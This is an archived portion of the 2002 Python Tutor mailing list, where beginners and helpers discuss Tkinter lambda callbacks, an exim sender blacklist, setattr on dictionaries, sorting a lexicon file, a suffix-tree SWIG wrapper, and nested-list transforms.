self.cboxDomain.invoke() doesn't need to take the 'event' > parameter that get's passed when we bind it to Button-1. We can do a > quicky thing to allow it to ignore the event parameter: [...] > The above fix may not work perfectly yet. If you're using a Python older > than 2.2, you may need to do something to simulate lexical sope, perhaps > something like this: > > ### > self.cboxDomain.component('entryfield_entry').bind('', > lambda event, > self=self: self.cboxDomain.invoke()) > ### Danny, you're correct again! I'll have to study up on lambdas. This second method worked for me. I'm using Python 2.1 for now. I assume that will continue to work in future versions of Python for a while, too. Is that correct? Is there a mailing list somewhere that's dedicated to Python Tkinter programming? Thanks again! -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Python & Perl CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From dsh8290@rit.edu Mon Feb 18 15:43:36 2002 From: dsh8290@rit.edu (dman) Date: Mon, 18 Feb 2002 10:43:36 -0500 Subject: [Tutor] banned function In-Reply-To: <3C7117D3.E570FCF3@netzero.net> References: <3C7117D3.E570FCF3@netzero.net> Message-ID: <20020218154336.GA2442@dman.ddts.net> On Mon, Feb 18, 2002 at 10:03:47AM -0500, kirk Bailey wrote: | I am considering adding a global 'banned' file function, so email from | a banned identity will automatically be rejected by tinylist. Although | useful to block spam and vicious users, spammers usually send from | throwaway accounts, and get a new one for the next run, and so can a | drooler, if enough brain cells still work to think of it. Any | discussion? You're right that a blacklist isn't terribly effective on spammers. It also requires that you first received a spam message so that you know what addr to blacklist. On top of that, if a spammer forges the address (likely) and the address happens to be a real person, you've blacklisted the wrong person. For spam catching you need to be smarter than that -- use spamassassin :-). For a mailing list, the subscribers are likely to have different opinions on who to blacklist and who not to. Each user can use their own killfile and customize to taste. Regardless, if you want a blacklist, put it in your MTA. The simplest mechanism, if you use exim 3, is to put this at the top of your directors list # # Check the system bouncelist, this is based on the "MAIL FROM:" command. # system_bouncelist: driver = smartuser require_files = /etc/exim/bouncelist senders = /etc/exim/bouncelist new_address = :fail: \"${local_part}@${domain}\" thinks you are a spammer Then you put a list of regexes, one per line, in the file /etc/exim/bouncelist. Then the message will be rejected at SMTP time, long before your TinyList ever sees it. This can also be tweaked to operate on a per-user basis too. -D -- Through love and faithfulness sin is atoned for; through the fear of the Lord a man avoids evil. Proverbs 16:6 From alan.gauld@bt.com Mon Feb 18 17:14:40 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Mon, 18 Feb 2002 17:14:40 -0000 Subject: [Tutor] BDE - help Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C38C@mbtlipnt02.btlabs.bt.co.uk> > I would like to know if its possible to connect to a DB(SQL > Server 6.5) using borland Database engine?(BDE) with python. I don't know of a wrapper thats available but given that there is a C API to BDE it wouldn't be too hard to create a python wrapper - pyBDE maybe? :-) OTOH Borland seem to be cooling in their love of BDE with the new database access in Kylix/Delphi 6 and the other new tools. ODBC should be available anywhere BDE is and although not quite as functional its more universal. And Python has bindings to ODBC... Alan g. From brad.reisfeld@colostate.edu Mon Feb 18 19:21:01 2002 From: brad.reisfeld@colostate.edu (Brad Reisfeld) Date: Mon, 18 Feb 2002 12:21:01 -0700 Subject: [Tutor] setattr question In-Reply-To: Message-ID: Hi, I have a class with many properties that are dictionaries. I am trying to set the values of these properties via setattr, but am having no luck. I thought that since 'setattr(object, name, value)' should be the same as 'object.name = value', the following would work: >>> class settest: ... def __init__(self): ... self.foo = {'prop1': 123, 'prop2': 456} ... return ... >>> m = settest() >>> m.foo['prop1'] = 987 >>> m.foo {'prop2': 456, 'prop1': 987} >>> setattr(m,foo['prop2'],654) Traceback (most recent call last): File "", line 1, in ? NameError: name 'foo' is not defined >>> setattr(m.foo,'prop2',654) Traceback (most recent call last): File "", line 1, in ? TypeError: object has read-only attributes What is the proper way to set values in an object's property dictionary via setattr? Is this possible? Thanks. -Brad From dyoo@hkn.eecs.berkeley.edu Mon Feb 18 19:39:48 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 11:39:48 -0800 (PST) Subject: [Tutor] setattr question In-Reply-To: Message-ID: On Mon, 18 Feb 2002, Brad Reisfeld wrote: > I have a class with many properties that are dictionaries. I am trying > to set the values of these properties via setattr, but am having no > luck. > > I thought that since 'setattr(object, name, value)' should be the same as > 'object.name = value', the following would work: > > >>> class settest: > ... def __init__(self): > ... self.foo = {'prop1': 123, 'prop2': 456} > ... return > ... > >>> m = settest() > >>> m.foo['prop1'] = 987 > >>> m.foo > {'prop2': 456, 'prop1': 987} > >>> setattr(m,foo['prop2'],654) > Traceback (most recent call last): > File "", line 1, in ? > NameError: name 'foo' is not defined Ah! We can still do it like this: getattr(m, 'foo')['prop2'] = 654 > >>> setattr(m.foo,'prop2',654) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: object has read-only attributes > > What is the proper way to set values in an object's property dictionary via > setattr? Is this possible? Hmmm! This is a weird one; I would have expected this to work. Let me check the documentation: """ setattr(object, name, value) This is the counterpart of getattr(). The arguments are an object, a string and an arbitrary value. The string may name an existing attribute or a new attribute. The function assigns the value to the attribute, provided the object allows it. For example, setattr(x, 'foobar', 123) is equivalent to x.foobar = 123. """ Ah; that probably means that getattr() and setattr() don't work on dictionaries, since they use indexing [] to grab at values. I don't know if old-style dictionaries allow us to modify their attributes; perhaps a new style dictionary in Python 2.2 will work. Let's try it: ### The following is in a Python 2.2 interpreter; I don't think this will ### work on older Pythons. Sorry! >>> class MyDict(dict): pass ... >>> d = MyDict({'hello': 42}) >>> d {'hello': 42} >>> setattr(d, 'name', 'tom riddle') >>> d {'hello': 42} >>> d.name 'tom riddle' ### Hope this helps! From shalehperry@attbi.com Mon Feb 18 19:57:02 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Mon, 18 Feb 2002 11:57:02 -0800 (PST) Subject: [Tutor] banned function In-Reply-To: <3C7117D3.E570FCF3@netzero.net> Message-ID: On 18-Feb-2002 kirk Bailey wrote: > I am considering adding a global 'banned' file function, so email from > a banned identity will automatically be rejected by tinylist. Although > useful to block spam and vicious users, spammers usually send from > throwaway accounts, and get a new one for the next run, and so can a > drooler, if enough brain cells still work to think of it. Any > discussion? > A tact taken by many mailing lists (tutor being one of them) is to only allow mail to enter the list from those subscribed to it. Anything else is bounced, either to an admin to act or to /dev/null. This is not a bad tactic. However, some people (myself included) like to subscribe a wrapper mail account to lists and then post with a real address. To allow for this mailing lists created with mailman give subscribers the ability to subscribe an email address and then set it to not receive mail. This is also handy for those going on a week or two vacation and do not want hundreds of mail waiting for them when they get home. I believe that implementing vacationing and whitelisting (defining the list by inclusion rather than exclusion) are a better way to approach this problem. From idiot1@netzero.net Mon Feb 18 20:33:08 2002 From: idiot1@netzero.net (kirk Bailey) Date: Mon, 18 Feb 2002 15:33:08 -0500 Subject: [Tutor] want a hoot? -off topic but intresting- Message-ID: <3C716504.E167DF9F@netzero.net> Check this spammeister out! http://www.jjiconsulting.com/ BULLETPROOF he claims! Spam away and host a page or so with him for your clientelle to be directed to! The raw BRASS! -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ NOTE: By sending SPAM to this address you agree to pay me a service fee of $100 for the service of receiving, storing, examining, and deleting your piece of SPAM. I am a postmaster, and take a dim view of such. ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From Nicole.Seitz@urz.uni-hd.de Mon Feb 18 21:48:04 2002 From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz) Date: Mon, 18 Feb 2002 22:48:04 +0100 Subject: [Tutor] Newbie Message-ID: <5.1.0.14.0.20020218214831.00b48a18@popix.urz.uni-heidelberg.de> Hi there, months ago I gave up learning to program with C.Now I hope I'll be more successful with Python. I decided to learn Python by programming a table-controlled shift-reduce parser for the English language.I'm still struggling with the prephase, where I assign to each word the correct category( visit = verb, etc.) Well, here's one problem I don't know how to deal with: The user should be able to change the lexicon. Currently this lexicon looks like that lexicon.txt -------------------------------------------------------------------- ocean n pleasure n fish n men n Egypt n friends n Seattle n London n students n tourists n France n in prep near prep with prep visit vt study vt sleep vi fish vi their det the det an det a det big adj good adj ------------------------------------------------------------------ These two functions in the module lexphase.py enable the user to add a word which was not found : def WordNotFound(unknown_word) : print "Couldn't find %s in lexicon!" %unknown_word AddOrNot = raw_input("Would you like to add it to lexicon?(yes or no)") if (AddOrNot == "yes") : AddWord() return new_category else: print "Bad choice!!" def AddWord( ): global new_category new_word = raw_input("New word: ") new_category = raw_input("Category: ") new_entry ="\n"+ new_word + " "+ new_category file = open('lexicon.txt','a') file.write(new_entry) file.close() ------------------------------------------------------------------------------- So far, so good. This works somehow.But unfortunately, after adding a new word, the lexicon isn't sorted anymore. For example, I could have [...] sleep vi fish vi their det the det an det a det big adj good adj Paris n #DOn't want the new entry HERE!!!!!!!! -------------------------------------------- So, how can I keep my lexicon sorted? Many greetings and thanx in advance, Nicole From dyoo@hkn.eecs.berkeley.edu Mon Feb 18 22:26:39 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 14:26:39 -0800 (PST) Subject: [Tutor] My Spring project! [A dictionary that allows substrings for key lookup] Message-ID: Hi everyone, I've heard so much good stuff about making extension libraries in SWIG, http://www.swig.org that I finally put my foot down and tried to actually apply it toward a real project. I've written a wrapper around Dan Gusfield's 'strmat' Suffix Tree library, http://www.cs.ucdavis.edu/~gusfield/strmat.html and I think it's all quite crazy. *grin* If anyone's interested, I've collected my notes and code here: http://hkn.eecs.berkeley.edu/~dyoo/programming/current.html As a warning: there are definitely memory leaks in the wrapper. Also, parts of the 'strmat' library haven't been wrapped yet because they look a little... well, fragile. But it's still very interesting, and perhaps even useful! As an example, I've written a small SubstringDict class that allows one to use substrings of dictionary keys: ### [Adyoo@coffeetable:~/pystrmat-0.6$ python SubstringDict.py Reading the dictionary. Please wait. 45392 words now indexed. Please enter a word; I'll look for all entries in the dictionary that have the word as a substring. word? py 59 words found: ['espy', 'copy', 'swampy', 'skimpy', 'sleepy', 'photocopy', 'photocopying', 'Skippy', 'canopy', 'preoccupy', 'anisotropy', 'lumpy', 'puppy', 'occupy', 'occupying', 'drippy', 'pygmies', 'pygmy', 'pyramid', 'papyrus', 'floppy', 'physiotherapy', 'Harpy', 'pyramids', 'jumpy', 'snoopy', 'droopy', 'copying', 'copyright', 'copyrightable', 'copyrighted', 'copyrights', 'copywriter', 'unhappy', 'microscopy', 'pyre', 'peppy', 'creepy', 'spy', 'spyglass', 'spying', 'philanthropy', 'sloppy', 'Cappy', 'python', 'entropy', 'psychotherapy', 'shipyard', 'soapy', 'poppy', 'happy', 'hardcopy', 'crappy', 'choppy', 'capybara', 'snappy', 'syrupy', 'spectroscopy', 'therapy'] word? moon 14 words found: ['mooned', 'mooning', 'moonlight', 'moonlighter', 'moonlighting', 'moonlit', 'moons', 'moonshine', 'honeymoon', 'honeymooned', 'honeymooner', 'honeymooners', 'honeymooning', 'honeymoons'] word? tutor 9 words found: ['statutorily', 'statutoriness', 'statutory', 'tutor', 'tutored', 'tutorial', 'tutorials', 'tutoring', 'tutors'] ### This may look mundane, but what's neat about this is that when it looks up a substring key, it isn't scanning through all of the dictionary. I still have to do some more optimization and code cleanup, but I hope that this is useful for people. I did remember hearing a question about this on Python-list a while back, so I'll forward this message to the main list as well. From dyoo@hkn.eecs.berkeley.edu Mon Feb 18 22:59:37 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 14:59:37 -0800 (PST) Subject: [Tutor] Newbie In-Reply-To: <5.1.0.14.0.20020218214831.00b48a18@popix.urz.uni-heidelberg.de> Message-ID: On Mon, 18 Feb 2002, Nicole Seitz wrote: > def AddWord( ): > global new_category > > new_word = raw_input("New word: ") > new_category = raw_input("Category: ") > new_entry ="\n"+ new_word + " "+ new_category > file = open('lexicon.txt','a') > file.write(new_entry) > file.close() > ------------------------------------------------------------------------------- > So far, so good. This works somehow.But unfortunately, after adding a new > word, the lexicon isn't sorted anymore. > For example, I could have > [...] > sleep vi > fish vi > > their det > the det > an det > a det > > big adj > good adj > Paris n #DOn't want the new entry HERE!!!!!!!! > > -------------------------------------------- > So, how can I keep my lexicon sorted? Hi Nicole, At the moment, the AddWord() function appends a new lexicon entry into the file, so all new entries are "tacked on" in the back. One approach to keep the lexicon sorted is to load the lexicon into memory, sort the lexicon and then write the whole lexicon back to the file. Python lists have a 'sort()' method that you can use to make this work. Here's an interpreter session that may help: ### >>> names = ['fish', 'sleep', 'their', 'the', 'an', 'big', 'good', 'paris'] >>> names.sort() >>> names ['an', 'big', 'fish', 'good', 'paris', 'sleep', 'the', 'their'] ### If we want to have the function sort in a different way, we can pass the sort() method an optional "comparision function" that tells it how two elements compare to each other. For example, let's say that we'd like to sort these strings by length. We can write this comparision function: ### >>> def cmp_by_length(word1, word2): ... return cmp(len(word1), len(word2)) ... >>> names.sort(cmp_by_length) >>> names ['an', 'big', 'the', 'fish', 'good', 'paris', 'sleep', 'their'] ### I'm sorry I'm rushing things; I'm getting hungry and must get big, fishy french food. mmm... fooo...good... Please feel free to ask more questions. Good luck to you! From tbost@ifarm.com Mon Feb 18 23:17:46 2002 From: tbost@ifarm.com (Tracy Bost) Date: Mon, 18 Feb 2002 17:17:46 -0600 (CST) Subject: [Tutor] counting new/changed files Message-ID: <1014074265.3c718b9a00013@mail.ifarm.com> Hi. I've finally getting to put python to some real world use here ! : ) I'm a little stumped on counting the number of new/changed files in a directory since the last time it checked. I've thought about just writing the "check" time to a dictionary to a file, then each time it needs to check for the number of files that are new/changed, it can use that data as the reference point. Can someone be so kind as to point me the direction I need to go for counting these files ? Thanks ! - Tracy ------------------------------------------------------------------------------ Visit "The Most Powerful Tool on the Farm" at http://www.ifarm.com Get the latest on Ag News, Market Reports, FREE email, and much more. From dyoo@hkn.eecs.berkeley.edu Tue Feb 19 03:08:10 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 19:08:10 -0800 (PST) Subject: [Tutor] counting new/changed files In-Reply-To: <1014074265.3c718b9a00013@mail.ifarm.com> Message-ID: On Mon, 18 Feb 2002, Tracy Bost wrote: > Hi. I've finally getting to put python to some real world use here ! : ) > I'm a little stumped on counting the number of new/changed files in a > directory since the last time it checked. I've thought about just > writing the "check" time to a dictionary to a file, then each time it > needs to check for the number of files that are new/changed, it can > use that data as the reference point. Can someone be so kind as to > point me the direction I need to go for counting these files ? Hi Tracy, There's a 'glob' function that helps us grab at all the filenames in a directory; it lives in the 'glob' module: http://www.python.org/doc/lib/module-glob.html There's also a function called os.path.getmtime() function that tells us when a particular file's been last modified: http://www.python.org/doc/lib/module-os.path.html If you'd like examples on how to use these functions, please feel free to ask on Tutor, and we'll cook something up. Good luck! From dyoo@hkn.eecs.berkeley.edu Tue Feb 19 03:18:15 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 19:18:15 -0800 (PST) Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks] In-Reply-To: <200202181514.KAA22434@birds.us.itd.umich.edu> Message-ID: On Mon, 18 Feb 2002, Lance E Sloan wrote: > > Danny Yoo wrote: > [...] > > implies that self.cboxDomain.invoke() doesn't need to take the 'event' > > parameter that get's passed when we bind it to Button-1. We can do a > > quicky thing to allow it to ignore the event parameter: > [...] > > The above fix may not work perfectly yet. If you're using a Python older > > than 2.2, you may need to do something to simulate lexical sope, perhaps > > something like this: > > > > ### > > self.cboxDomain.component('entryfield_entry').bind('', > > lambda event, > > self=self: self.cboxDomain.invoke()) > > ### By the way, we don't really need lambda; I was using a shortcut. We could alternatively do something like this: ### def callback(ignored_event, component=self.cboxDomain): component.invoke() self.cboxDomain.component('entryfield_entry').bind('', callback) ### Python allows us to define functions anywhere; Python's lambda statement is just a shortcut to avoid giving the function a name. > This second method worked for me. I'm using Python 2.1 for now. I > assume that will continue to work in future versions of Python for a > while, too. Is that correct? Yes, I'm pretty sure that this will work for a long time; it depends on a function's default arguments, and I'm pretty sure that won't break at least until Python 3k or so. *grin* > Is there a mailing list somewhere that's dedicated to Python Tkinter > programming? Dunno about this, but Tutor is a pretty good place to ask Tkinter questions. I believe that Manning, publishers of "Python and Tkinter Programming", hosts a forum for people who have bought the book: http://www.manning.com/getpage.html?project=grayson&filename=forum.html Good luck! From dyoo@hkn.eecs.berkeley.edu Tue Feb 19 03:37:42 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 19:37:42 -0800 (PST) Subject: [Tutor] creating files with python and a thanks In-Reply-To: <3C70FE33.BCB43960@shaw.ca> Message-ID: On Mon, 18 Feb 2002, Eve Kotyk wrote: > > Let's look at that error message you showed before: > > > > Traceback (innermost last): > > File "", line 1, in ? > > gather_data() > > File "", line 9, in gather_data > > f.write(output) > > TypeError: read-only buffer, list > > No problem but could you explain the error message a little? I > assumed it meant that I had variable elements of a different type > (such as a string and integers) but I tried the code again using only > strings and I still got the same error. What is a read-only buffer? Yes, that error message was confusing, and according to: http://mail.python.org/pipermail/python-dev/2000-December/010845.html the developers changed the message to make a little more sense. *grin* Python 2.2 gives a better error message, so let me get it to error out in a similar way: ### >>> f = open('foo.txt', 'w') >>> some_data = ['this is the first line', 'this is the second line'] >>> f.write(42) Traceback (most recent call last): File "", line 1, in ? TypeError: argument 1 must be string or read-only character buffer, not int >>> f.write(some_data) Traceback (most recent call last): File "", line 1, in ? TypeError: argument 1 must be string or read-only character buffer, not list >>> f.write("ok, ok") >>> ### So f.write() likes to see only strings. By the way, if we want to write the contents of a bunch of strings in a list, we can use the f.writelines() function: http://www.python.org/doc/current/lib/bltin-file-objects.html 'Character buffer' is a low level term that's roughly a synonym for "string", but I believe it's actually a little broader. It's somewhat obscure: there's a mention of "buffers" in the documentation: http://www.python.org/doc/lib/built-in-funcs.html with the "buffer()" function, as well as some reference material in the Python/C API: http://www.python.org/doc/current/api/bufferObjects.html >From what I can gather: a character buffer is any object in Python that supports byte-oriented access, that is, stuff that's easy to write into a file. Buffers provide a way to get access to data in a very low-level, efficient manner. However, we probably won't ever need to manipulate buffers by hand, as the majority of "buffer" objects we run into are strings. I guess I'm trying to say: don't worry about character buffers. *grin* Hope this helps! From dyoo@hkn.eecs.berkeley.edu Tue Feb 19 04:12:21 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 20:12:21 -0800 (PST) Subject: [Tutor] Transposing [n, [e],[s[te]],[d]] sequences In-Reply-To: Message-ID: On Sun, 17 Feb 2002, kevin parks wrote: > # Problem: how do i make something like this work for nested > # sequences? since sometimes we will have lists of lists or (god help > # us) list of *gasp* tuples... > > > By this i meant not first flattening the list or returning the list as > flat, but transposing each element leaving the structure in place. Well, one thing we can do is cheat. ### >>> import re >>> number_re = re.compile(r'[0-9]+') >>> l = [[0, 2], 4, [[[5], 7], 9], 11] >>> number_re.sub(str(l), '%s') '%s' >>> number_re.sub('%s', str(l)) '[[%s, %s], %s, [[[%s], %s], %s], %s]' >>> number_re.sub('%s', str(l)) % (4, 6, 8, 9, 11, 1, 3) '[[4, 6], 8, [[[9], 11], 1], 3]' >>> eval(number_re.sub('%s', str(l)) % (4, 6, 8, 9, 11, 1, 3)) [[4, 6], 8, [[[9], 11], 1], 3] ### But perhaps this is not what you're looking for. *grin* I don't meant to be flippant; I'm still trying to think of a good clean way of doing this, but for a quick and dirty way, the above might be useful. I know that to apply a function "deeply" into a list, we can use recursion. The idea behind the recursion is: 1. To apply a function deeply on a list, apply a function deeply on each element of that list and just collect the results. (Inductive case) 2. Trying to apply a function deeply on a nonlist is a dead end --- let's just apply the function. (Base case) Here's a function that tries to capture this idea of a deep list transform: ### >>> def deepTransform(some_function, some_thing): ... if type(some_thing) == types.ListType: ... results = [] ... for x in some_thing: ... results.append(deepTransform(some_function, x)) ... return results ... else: ... return some_function(some_thing) ... >>> deepTransform(lambda x: x*2, [1, 2, 3, 4]) [2, 4, 6, 8] >>> deepTransform(lambda x: x*2, [1, [2, 3], 4]) [2, [4, 6], 8] >>> deepTransform(string.upper, ['the', ['psychology', 'of'], [[['computer']]], 'programming']) ['THE', ['PSYCHOLOGY', 'OF'], [[['COMPUTER']]], 'PROGRAMMING'] ### The only problem about deepTransform() with Xpose is that we need to think a bit to create the right kind of function that captures what Xpose is doing. Also, deepTransform() is democratic in the way that it considers every element in the list independantly of the others. That is, in something like: ### >>> deepTransform(lambda x: x*2, [1, [2, 3], 4]) [2, [4, 6], 8] ### deepTransform() does not say to the number three that: "Hey, you're the third non-list element that I've worked on so far." However, Xpose() depends on that idea of list position to add an appropriate offset! As it is written, deepTransform() probably isn't what you're looking for. The problems can be a little tricky. Please feel free to ask more questions, and we can talk about it some more. It's definitely an interesting problem! Talk to you later! From dyoo@hkn.eecs.berkeley.edu Tue Feb 19 04:23:40 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 18 Feb 2002 20:23:40 -0800 (PST) Subject: [Tutor] Transposing [n, [e],[s[te]],[d]] sequences In-Reply-To: Message-ID: On Mon, 18 Feb 2002, Danny Yoo wrote: > On Sun, 17 Feb 2002, kevin parks wrote: > > > # Problem: how do i make something like this work for nested > > # sequences? since sometimes we will have lists of lists or (god help > > # us) list of *gasp* tuples... > > > > > > By this i meant not first flattening the list or returning the list as > > flat, but transposing each element leaving the structure in place. > > Well, one thing we can do is cheat. > > ### > >>> import re > >>> number_re = re.compile(r'[0-9]+') > >>> l = [[0, 2], 4, [[[5], 7], 9], 11] > >>> number_re.sub(str(l), '%s') > '%s' Yikes, I was supposed to edit that typo out from prying eyes. *grin* Here's an explanation of the error: my plan was to replace all the numbers with '%s' characters... but I had accidently reversed the order of the arguments! Instead of replacing all instances of numbers in my list 'l', instead I tried to replace all numbers in the string '%s' with 'l'. That's why I get back '%s', and why I hastily reverse my arguments in the next interpreter command. From e.kotyk@shaw.ca Tue Feb 19 04:24:42 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Tue, 19 Feb 2002 04:24:42 +0000 Subject: [Tutor] creating files with python and a thanks References: Message-ID: <3C71D38A.4F9407C0@shaw.ca> Thanks Danny and Sheila for your help on this. Danny thanks for the recommended reading..and your tip on f.writelines() will be very helpful for the next version. E Danny Yoo wrote: > > On Mon, 18 Feb 2002, Eve Kotyk wrote: > > > > Let's look at that error message you showed before: > > > > > > Traceback (innermost last): > > > File "", line 1, in ? > > > gather_data() > > > File "", line 9, in gather_data > > > f.write(output) > > > TypeError: read-only buffer, list > > > > No problem but could you explain the error message a little? I > > assumed it meant that I had variable elements of a different type > > (such as a string and integers) but I tried the code again using only > > strings and I still got the same error. What is a read-only buffer? > > Yes, that error message was confusing, and according to: > > http://mail.python.org/pipermail/python-dev/2000-December/010845.html > > the developers changed the message to make a little more sense. *grin* > Python 2.2 gives a better error message, so let me get it to error out in > a similar way: > > ### > >>> f = open('foo.txt', 'w') > >>> some_data = ['this is the first line', 'this is the second line'] > >>> f.write(42) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: argument 1 must be string or read-only character buffer, not > int > >>> f.write(some_data) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: argument 1 must be string or read-only character buffer, not > list > >>> f.write("ok, ok") > >>> > ### > > So f.write() likes to see only strings. By the way, if we want to write > the contents of a bunch of strings in a list, we can use the > f.writelines() function: > > http://www.python.org/doc/current/lib/bltin-file-objects.html > > 'Character buffer' is a low level term that's roughly a synonym for > "string", but I believe it's actually a little broader. It's somewhat > obscure: there's a mention of "buffers" in the documentation: > > http://www.python.org/doc/lib/built-in-funcs.html > > with the "buffer()" function, as well as some reference material in the > Python/C API: > > http://www.python.org/doc/current/api/bufferObjects.html > > >From what I can gather: a character buffer is any object in Python that > supports byte-oriented access, that is, stuff that's easy to write into a > file. Buffers provide a way to get access to data in a very low-level, > efficient manner. However, we probably won't ever need to manipulate > buffers by hand, as the majority of "buffer" objects we run into are > strings. I guess I'm trying to say: don't worry about character buffers. > *grin* > > Hope this helps! > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From lsloan@umich.edu Tue Feb 19 14:11:11 2002 From: lsloan@umich.edu (Lance E Sloan) Date: Tue, 19 Feb 2002 09:11:11 -0500 Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks] In-Reply-To: Your message of "Mon, 18 Feb 2002 19:18:15 PST." Message-ID: <200202191411.JAA10091@birds.us.itd.umich.edu> Danny Yoo wrote: > By the way, we don't really need lambda; I was using a shortcut. We could > alternatively do something like this: Oh, sure. That makes sense. But I really like using the lambdas instead. That way I don't have to define a callback function for each of the 3-4 ComboBoxes that are part of my class. I don't need to think up silly names that will just clutter up the namespace. Actually, I started to write a callback function for my ComboBoxes. I tried to make it general enough that I could use it as the same callback for each of the ComboBoxes I made. I thought that I could get a reference to the widget in question from the event that was passed in. However, I found that the event widget was the text entry field, not the ComboBox. When I looked to its master, I found that it, and all of its ancestors were Frame widgets. None were the ComboBox. So, I guess Pmw methods return references to Pmw objects, but if I work backwards from part of a Pmw widget, I will only find the Tkinter components. > > Is there a mailing list somewhere that's dedicated to Python Tkinter > > programming? > > Dunno about this, but Tutor is a pretty good place to ask Tkinter > questions. I believe that Manning, publishers of "Python and Tkinter > Programming", hosts a forum for people who have bought the book: > > http://www.manning.com/getpage.html?project=grayson&filename=forum.html I'll have a look there. I asked because I've been reading Tutor for more than a year now and I haven't noticed a lot of Tkinter discussion. Maybe if I search the archives, I'll find there's more than I thought. When I asked my question and I didn't see a lot of responses quickly, I wondered if I were asking in the wrong forum. Maybe I'm just an instant gratification junkie. :) -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Python & Perl CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From lsloan@umich.edu Tue Feb 19 14:28:19 2002 From: lsloan@umich.edu (Lance E Sloan) Date: Tue, 19 Feb 2002 09:28:19 -0500 Subject: [Tutor] tree of my program's widgets? Message-ID: <200202191428.JAA10348@birds.us.itd.umich.edu> I've another Tkinter question. I searched the web and Parnassus for this, but didn't find anything. Maybe I just used the wrong search terms. What I'm trying to find is a function that will produce a "tree-like" listing of all widgets used in my program when I pass it a reference to the "root" Tkinter object. Or for that matter, passing a reference to any Tkinter object will produce a tree with that widget as the root. Anybody heard of such a thing? If not, I'll try to write one myself. Thanks in advance! -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Python & Perl CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From urnerk@qwest.net Tue Feb 19 17:04:33 2002 From: urnerk@qwest.net (Kirby Urner) Date: Tue, 19 Feb 2002 09:04:33 -0800 Subject: [Tutor] Another example of Python at work In-Reply-To: <200202191428.JAA10348@birds.us.itd.umich.edu> Message-ID: <4.2.0.58.20020219085519.01acfe70@pop3.norton.antivirus> Just to toss out another example of a project wherein Python is proving very useful as a "glue language", I offer my: http://www.inetarena.com/~pdx4d/ocn/sphpacking.html What's going on here is we have this Java applet that packs spheres in a particular way. We want to use its data to feed another free software package called Qhull, and we want to view the results using free rendering software (Povray) and VRML. So Python comes in and does all the mediation between the apps, reading sphere data, doing computations, passing data out to Qhull, reading it back in, and so on. It's the kind of thing that you want to do fairly quickly, and without trying to memorialize the whole process in some perfect code. A little worse (than perfect) is better in this case. Also, thanks to object-orientation, it's natural to define "Ball" objects which correspond to the balls in the packing. These get properties and methods related to finding all nearby neighbors, and for rendering the results. Python fits the problem, because it fits your brain (or mine at least). Kirby From wolf_binary@hotmail.com Wed Feb 20 01:20:16 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Tue, 19 Feb 2002 19:20:16 -0600 Subject: [Tutor] python 2.2 Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0038_01C1B97A.7660F960 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi to all, Little bit of a problem. I have Python 2.2 and when I'm programming Python 2.2 freezes up my = computer and it stops responding. I also have Windows 98 2nd endition = as the OS. I know that it is Python because it only happens when I'm = using Python. I also have the Vpython addition. I also don't think = that Vpython is the problem. I am thinking that I should go back to 2.0 = or maybe 1.5, but I don't want to because Vpython doesn't work with 1.5 = I think. Would someone offer some kind of suggestion about this = problem? Any help, Cameron Stoner ------=_NextPart_000_0038_01C1B97A.7660F960 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi to all,
 
Little bit of a problem.
I have Python 2.2 and when I'm = programming Python=20 2.2 freezes up my computer and it stops responding.  I also have = Windows 98=20 2nd endition as the OS.  I know that it is Python because it only = happens=20 when I'm using Python.  I also have the Vpython addition.  I = also=20 don't think that Vpython is the problem.  I am thinking that I = should go=20 back to 2.0 or maybe 1.5, but I don't want to because Vpython doesn't = work with=20 1.5 I think.  Would someone offer some kind of suggestion about = this=20 problem?
 
Any help,
Cameron = Stoner
